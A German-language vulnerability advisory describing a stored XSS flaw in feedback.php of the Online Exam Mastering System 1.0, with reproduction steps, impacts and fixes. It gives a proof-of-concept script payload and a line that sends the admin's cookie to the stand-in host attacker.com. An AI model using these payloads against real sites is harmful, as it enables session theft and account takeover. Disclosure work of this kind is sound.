CVE-2025-46173 - Gespeichertes Cross-Site Scripting (XSS) im Online Exam Mastering System 1.0

📌 Zusammenfassung

CVE-2025-46173 ist eine gespeicherte Cross-Site-Scripting- (XSS-)Schwachstelle, die im Online Exam Mastering System 1.0 von code-projects entdeckt wurde. Die Schwachstelle existiert in der Komponente feedback.php, wo Benutzereingaben im Namensfeld nicht ordnungsgemäß bereinigt werden, sodass ein Angreifer beliebiges JavaScript injizieren kann. Wenn ein Administrator dieses Feedback im Admin-Dashboard (dash.php) anzeigt, wird der Payload im Browser des Administrators ausgeführt, was zu Session-Hijacking und potenzieller Privilegieneskalation führt.

🧠 Details zur Schwachstelle

• Schwachstellentyp: Gespeichertes Cross-Site Scripting (XSS)
• CVE-ID: CVE-2025-46173
• Anbieter: code-projects
• Produkt: Online Exam Mastering System
• Betroffene Version: 1.0
• Komponente: feedback.php, dash.php
• Angriffsvektor: Remote
• Auswirkung: Privilegieneskalation, Session-Hijacking

📷 Proof of Concept

1. Injektion

Ein Benutzer übermittelt den folgenden Payload im Feld Name des Feedback-Formulars:

<script>alert(document.cookie)</script>

2. Auslösung

Wenn der Administrator das übermittelte Feedback später in dash.php anzeigt, wird der Payload ausgeführt:

3. Ergebnis

Das Session-Cookie des Administrators wird über document.cookie offengelegt und kann ausgelesen werden:

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

⚙️ Schritte zur Reproduktion

1. Klonen oder richten Sie die verwundbare Version von code-projects ein.

2. Navigieren Sie zu localhost/exam/feedback.php.

3. Füllen Sie das Feld "Name" mit:

   root@kitploit:~

   <script>alert(document.cookie)</script>
   

4. Senden Sie das Formular ab.

5. Melden Sie sich als Administrator an und besuchen Sie dash.php?q=3, um das Feedback anzusehen.

6. Das Skript wird im Kontext des Administrators ausgeführt.

🔥 Auswirkungen

• Session-Cookies des Administrators stehlen
• Sich als Administrator ausgeben
• Vollen administrativen Zugriff erlangen
• Testdaten ändern oder löschen
• Privilegien eskalieren

🔒 Empfohlene Abhilfemaßnahmen

• Benutzereingaben bereinigen, indem HTML-Sonderzeichen maskiert werden (z. B. &, <, >, ").
• Verwenden Sie eine robuste Bereinigungsbibliothek wie PHP's htmlspecialchars() oder eine Kombination aus Frontend-Validierung und Backend-Bereinigung.
• Implementieren Sie eine Content Security Policy (CSP).
• Erwägen Sie, Daten zu kodieren, bevor Sie sie im DOM rendern.

🔗 Referenzen

• Blind Cross-Site Scripting (Invicti)
• Acunetix - Detecting Blind XSS
• OWASP XSS Prevention Cheat Sheet

👤 Entdecker

Pruthu Raut LinkedIn | TryHackMe Top 2% | GitHub

Screenshots dienen nur zu Bildungszwecken. Alle Tests wurden in einer lokalen Umgebung durchgeführt.

🎥 Video-PoC

Klicken Sie hier, um das Demo-Video anzusehen

⚠️ Haftungsausschluss

Diese Informationen werden ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Verwenden Sie sie nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testberechtigung haben.